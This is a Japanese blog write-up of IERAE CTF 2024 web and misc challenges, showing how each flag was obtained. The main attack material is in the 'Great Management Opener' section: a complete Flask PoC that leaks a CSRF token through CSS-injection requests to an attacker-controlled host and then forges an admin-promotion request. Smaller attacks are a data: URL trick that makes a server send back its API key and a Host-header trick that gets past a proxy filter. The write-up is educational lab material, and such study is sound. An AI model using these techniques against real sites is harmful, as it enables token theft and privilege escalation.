はまやんはまやんはまやん

hamayanhamayan's blog

IERAE CTF 2024 Writeups

https://ctftime.org/event/2441

チームhamayanhamayanのhamayanhamayanです。

[misc] OMG

アクセスすると

Let's press the browser back button 33 times. / 戻るボタンを33回押そう!

と言われる。とりあえず、Burpを開いてソースコードを読むと、GET /に以下のような記載がある。

if (e.state.i == 0) {
    cntdwn.innerText = atob("SUVSQUV7VHIzbmR5XzRkcy5MT0x9");
    init();
}

いかにも怪しいので、選択するとInspectorで自動でbase64デコードされてフラグが出てきた。

[web] Futari APIs

ソースコード有り。javascriptで書かれたサイトが与えられ、2つのサーバーが立てられている。

1つはfrontend.tsで、外部にポートが開放されているサイト。入力を元にuser-search.ts側にリクエストを飛ばして通信を中継する。ソースコードは以下。

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

2つ目はuser-search.tsでバックエンドでユーザー検索を行うサイト。実装は以下の形。

type User = {
  name: string;
};

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });

function search(id: string) {
  const user = users.get(id);
  return user;
}

function handler(req: Request): Response {
  // API format is /:id
  const url = new URL(req.url);
  const id = url.pathname.slice(1);
  const apiKey = url.searchParams.get("apiKey") || "";

  if (apiKey !== FLAG) {
    return new Response("Invalid API Key.");
  }

  const user = search(id);
  if (!user) {
    return new Response("User not found.");
  }

  return new Response(`User ${user.name} found.`);
}

Deno.serve({ port: PORT, handler });

フラグは、2つのサーバ間での認証のために使われている。FLAGが使われている箇所を見てみて、怪しい部分は無いだろうか。

new URLでプロトコルを変える

色々試した結果、以下の部分が攻撃できた。

const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);

URLに含まれるフラグを取得する必要があるのだが、URLに含まれる入力をそのまま出力させると言えば… dataプロトコルですね。URLクラスは結構色々できることが知られているので、色々ガチャガチャやっていると、/search?user=data:text/html,でフラグが送り返されてきた。

Denoで試すと以下のような感じ。

$ deno
Deno 1.44.2
exit using ctrl+d, ctrl+c, or close()
REPL is running with all permissions allowed.
To specify permissions, run `deno repl` with allow flags.
> const user = "data:text/html,";
undefined
> const FLAG = "IERAE{dummy}";
undefined
> const userSearchAPI = "http://user-search:3000";
undefined
> new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
URL {
  href: "data:text/html,?apiKey=IERAE{dummy}",
  origin: "null",
  protocol: "data:",
  username: "",
  password: "",
  host: "",
  hostname: "",
  port: "",
  pathname: "text/html,",
  hash: "",
  search: "?apiKey=IERAE{dummy}"
}

このように、httpをdataプロトコルに変換することができ、そのままURLの内容を折り返すことができる。

[web] Great Management Opener

ソースコード有り。pythonで書かれたサイトとadmin botが与えられる。

Admin bot

Admin botから見てみよう。

const TIMEOUT_SECONDS = 30; // 本番では50に引き上げられていた[redacted]export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    // Login with admin user
    const page = await context.newPage();
    await page.goto(`${APP_URL}/login`, { timeout: 3000 });
    await page.waitForSelector("#username");
    await page.type("#username", APP_ADMIN_USERNAME);
    await page.waitForSelector("#password");
    await page.type("#password", APP_ADMIN_PASSWORD);
    await page.click("button[type=submit]");
    await sleep(1 * 1000);

    await page.goto(url, { timeout: 3000 });
    await sleep(TIMEOUT_SECONDS * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

Adminとしてログインした後、30秒間(本番では50秒間)sleepが入って終了する。XS-Leak的な手法が求められている雰囲気がある。Cookieにフラグが無いのでXSSという訳ではなさそうだ。

フラグの場所と目標

フラグの場所を確認すると以下にある。

@app.route('/admin/flag')
@login_required
@admin_required
def admin_flag():
    return app.config['FLAG']

実装は省略するが@admin_requiredとあるようにadminであればアクセスが可能である。adminアカウントは環境が立ち上がった段階で作成されて、Admin Botはadminアカウントでログインしてから、指定のURLを開くのだが、実はもう1つadminになれる方法があり、以下の部分。

@app.route('/admin', methods=['GET', 'POST'])
@login_required
@admin_required
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        csrf_token = request.form.get('csrf_token')

        if not username or len(username) < 8 or len(username) > 20:
            return redirect(url_for('admin', message='Username should be between 8 and 20 characters long'))

        if not csrf_token or csrf_token != session.get('csrf_token'):
            return redirect(url_for('admin', message='Invalid csrf_token'))

        user = User.query.filter_by(username=username).first()
        if not user:
            return redirect(url_for('admin', message='Not found username'))

        user.is_admin = True
        db.session.commit()
        return redirect(url_for('admin', message='Success make admin!'))
    return render_template('admin.jinja2', csrf_token=session.get('csrf_token'))

こちらも同様にadminアカウントが必要になるが、特定のユーザーを指定してadminに昇格させることができる。Admin Botを使ってここにアクセスさせ、自分で作ったユーザーをadminに昇格させることでフラグが手に入れられそうだ。

うまくやればAdmin BotでPOST通信を発生させることはできるが、csrf_tokenが必要になる。このトークンはログイン時に発行されてセッションに保管されている。login関数のsession["csrf_token"] = os.urandom(16).hex()の部分である。なので、もう少しbreakdownすると、csrf_tokenを手に入れることができれば、admin関数を使うことができるということになる。

csrf_tokenをどう取得するか。

埋め込み点

何か他に使える脆弱性が無いか探してみると、base.jinja2にHTML Injection出来そうな箇所が存在する。

{% if request.args.get('message') %}
    <div class="alert alert-secondary mt-3">
        {{ request.args.get('message')|truncate(64, True) }}
    </div>
{% endif %}

これはどのページでも使われる部分で、任意のサイトで?message=<s>injectionのようにするとHTMLタグが埋め込まれることが確認できる。だが、__init__.pyでCSPが設定されているため、XSSまでつなげることができない。

response.headers['Content-Security-Policy'] = (
    "script-src 'self'; "
    "style-src * 'unsafe-inline'; "
)

style-srcに関する設定が大分緩いことに気が付く。CSS Injectionは可能なようだ。

Blind CSS Injection / XS-Leaks with CSS Injection

探してみると意外と日本語資料が無い。XS-Leaks系が初めてという方はCTFで出題されたXS-Leaksが非常に良いのでオススメ。(Blind CSS Injectionとも呼ばれている気もするが、概念としてはXS-Leaksの方がキチンと包含していそうな気もする。)

csrf_tokenを取得するために、Blind CSS Injectionが利用できる。以下のようなCSSを埋め込むことを考える。

input[type=hidden][value^="0"]+div {{ background: url("http://[yoursite].example/leak?otp=0"); }}
input[type=hidden][value^="1"]+div {{ background: url("http://[yoursite].example/leak?otp=1"); }}
input[type=hidden][value^="2"]+div {{ background: url("http://[yoursite].example/leak?otp=2"); }}
...
input[type=hidden][value^="e"]+div {{ background: url("http://[yoursite].example/leak?otp=e"); }}
input[type=hidden][value^="f"]+div {{ background: url("http://[yoursite].example/leak?otp=f"); }}

これを埋め込むと、csrf_tokenは<input type="hidden" name="csrf_token" value="7efe1184567de57ef4509e2778d8a253">のようにHTMLに存在するので、valueの先頭が合うCSSが発動することになる。つまり、今回は7から始まっているので、http://[yoursite].example/leak?otp=7のような通信が発生し、最初が7から始まることを検知することができる。

これを繰り返して先頭から順にhexの32文字から成るトークンを特定して、それを使ってPOST /adminをするという方針で解いていく。

まず、適当に以上のようなCSSを返すエンドポイントを用意してホストしておく。この時、base.jinja2の埋め込み先の文字数制限に注意しておく必要があり、{{ request.args.get('message')|truncate(64, True) }}のように64文字制限がある。なので、ngrokなどでURLを作ると64文字に収まらなくなるので、自分は適当にVPSを借りてIPアドレスで指定した。

HTMLインジェクションでCSS読み込みを埋め込むときは以下のようにやればいい。

/admin?message=<link%20rel='stylesheet'%20href='http://[your-ip-address]/v1'%20/>

linkタグを使って埋め込んでいる。これでhttp://[your-ip-address]/v1にアクセスしてCSSを読み込んで適用してくれる。これで1回分は読み取ることができる。

自動化する

Blind CSS Injectionによる読み取りは32回繰り返す必要がある。よって、Admin Botに1回文のpayloadをそのまま踏ませるのではなく、踏み台のサイトを用意して32回踏ませることにする。具体的には以下のようなHTMLページを何処かでホストして踏ませる。

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        for (let i = 0; i < 32; i++) {{
            open("http://web:5000/admin?message=<link%20rel='stylesheet'%20href='http://[your-ip-address]/v1'%20/>");
            await sleep(2 * 1000);
        }}
    }}, 0);
</script>

/v1/leakについてはFlaskで(不要な部分をかなり省略しているが)以下のように実装した。

OTP = ''

@app.route('/v1')
def v1():
    global OTP
    css = ''
    for c in "0123456789abcdef":
        css += f'input[type=hidden][value^="{OTP}{c}"]+div {{ background: url("{HOST}/leak?otp={OTP}{c}"); }}\n'
    return css, 200, {'Content-Type': 'text/css'}

@app.route('/leak')
def leak():
    global OTP
    OTP = request.args['otp']
    print(OTP)
    return 'OK'

これで/v1CSSを返し、その結果を/leakで受け取り、内部的にtokenを更新して、また次に/v1が呼ばれたら次の文字を加えてCSSを返し…ということをする。これでトークンをすべて一度に取得することができる。

本番では、これでは遅かったので一度に2文字ずつ抜き取るような実装を最終的には使った。最後にPoCをすべて載せるが、/v2が2文字ずつ抜き取るバージョンである。

全てを繋げる

これで準備が整った。

  1. [手動で] adminに昇格したいユーザーを作成する
  2. [Admin Bot経由で] PoCコードを使い、adminユーザーのcsrf_tokenを盗み、先ほど作ったユーザーをadminに昇格させる
  3. [手動で] 作ったユーザーでログインして/admin/flagにアクセスするとフラグが手に入る

PoCコードは最終的に以下のようになる。

# https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection

from flask import Flask, request
import string
import time

app = Flask(__name__)

HOST = 'http://[victim-server]'
OTP = ''

BASE = 'http://web:5000'
@app.route('/entry')
def entry():
    html = f'''
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        for (let i = 0; i < 32 / 2; i++) {{
            open("{BASE}/admin?message=<link%20rel='stylesheet'%20href='{HOST}/v2'%20/>");
            await sleep(2 * 1000);
        }}
        open("{HOST}/gogo");
    }}, 0);
</script>
'''
    return html, 200, {'Content-Type': 'text/html'}

USERNAME = '[your-username]'
@app.route('/gogo')
def gogo():
    global OTP
    html = f'''
<form id=form target=poc action="{BASE}/admin" method="POST">
    <input name="username" value="{USERNAME}">
    <input name="csrf_token" value="{OTP}">
    <button>submit</button>
</form>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        var win = open('about:blank', 'poc');
        form.submit();
    }}, 0);
</script>
'''
    return html, 200, {'Content-Type': 'text/html'}

@app.route('/v2')
def v2():
    global OTP
    css = ''
    for c1 in "0123456789abcdef":
        for c2 in "0123456789abcdef":
            css += f'input[type=hidden][value^="{OTP}{c1}{c2}"]+div {{ background: url("{HOST}/leak?otp={OTP}{c1}{c2}"); }}\n'
    return css, 200, {'Content-Type': 'text/css'}

@app.route('/leak')
def leak():
    global OTP
    OTP = request.args['otp']
    print(OTP)
    return 'OK'


if __name__ == '__main__':
    app.run(host='::', port=80)

[web] babewaf

ソースコード有り。javascriptで書かれたプロキシサーバーとバックエンドサーバーが与えられる。

プロキシサーバーは以下のように実装されていて、かなり読みやすい。

const express = require("express");
const { createProxyMiddleware } = require("http-proxy-middleware");

const app = express();
const BACKEND = process.env.BACKEND;

app.use((req, res, next) => {
  if (req.url.indexOf("%") !== -1) {
    res.send("no hack :)");
  }
  if (req.url.indexOf("flag") !== -1) {
    res.send("🚩");
  }
  next();
});

app.get(
  "*",
  createProxyMiddleware({
    target: BACKEND,
  }),
);

app.listen(3000);

%とflagがURLに入っていると弾かれる。後ろのbackendサーバーへはhttp-proxy-middlewareを使って転送している。

バックエンドサーバーもかなり簡潔。DenoとHonoで構築されている。

import { Hono } from 'hono'
import { serveStatic } from 'hono/deno'

const app = new Hono()
const FLAG = Deno.env.get("FLAG");

app.get('/', serveStatic({ path: './index.html' }))

app.get('/givemeflag', (c) => {
  return c.text(FLAG)
})

export default app

GET /givemeflagができればフラグがもらえる。だが、これはプロキシサーバーでブロックされていてアクセスできない。

http-proxy-middlewareを怪しむ

ここからひたすら頭を打ち付けて解く。Honoのルーティングの挙動で何かが起こるか…とも考えたが、書き方も一般的で大文字小文字とかユニコードガチャぐらいしか方針が思い浮かばない。よって、http-proxy-middlewareを叩くことにした。(…というより、叩くことにしたら解けた)

最初はX-Forwarded-Prefixみたいなヘッダーで変換ができないか色々試したがダメだった。次に、それほど量もなさそうだったので、http-proxy-middlewareのコードを全部眺めることにした。使えそうなコードが無いか探すと面白いものがあった。

https://github.com/chimurai/http-proxy-middleware/blob/master/src/plugins/default/logger-plugin.ts#L23-L26

  proxyServer.on('error', (err, req, res, target?) => {
    const hostname = req?.headers?.host;
    const requestHref = `${hostname}${req?.url}`;
    const targetHref = `${(target as unknown as any)?.href}`; // target is undefined when websocket errors

Hostヘッダーを利用している!この部分が実際の変換処理で使われているか分からないが実験してみる。バックエンド側のサーバーを以下のように書き換えて変換を見てみる。

app.get('*', (c) => {
  return c.text(c.req.path)
})

これでガチャガチャやっていると、

GET /fuga HTTP/1.1
Host: http://hoge/


-> 

//hoge//fuga

というのが出てきた。勝ち筋が見えてきて、ここから更にガチャガチャやって最終的に以下のようなリクエストでフラグが得られた。バックエンドには/givemeflag?/のようにして渡される。

GET / HTTP/1.1
Host: http:/givemeflag?
Connection: keep-alive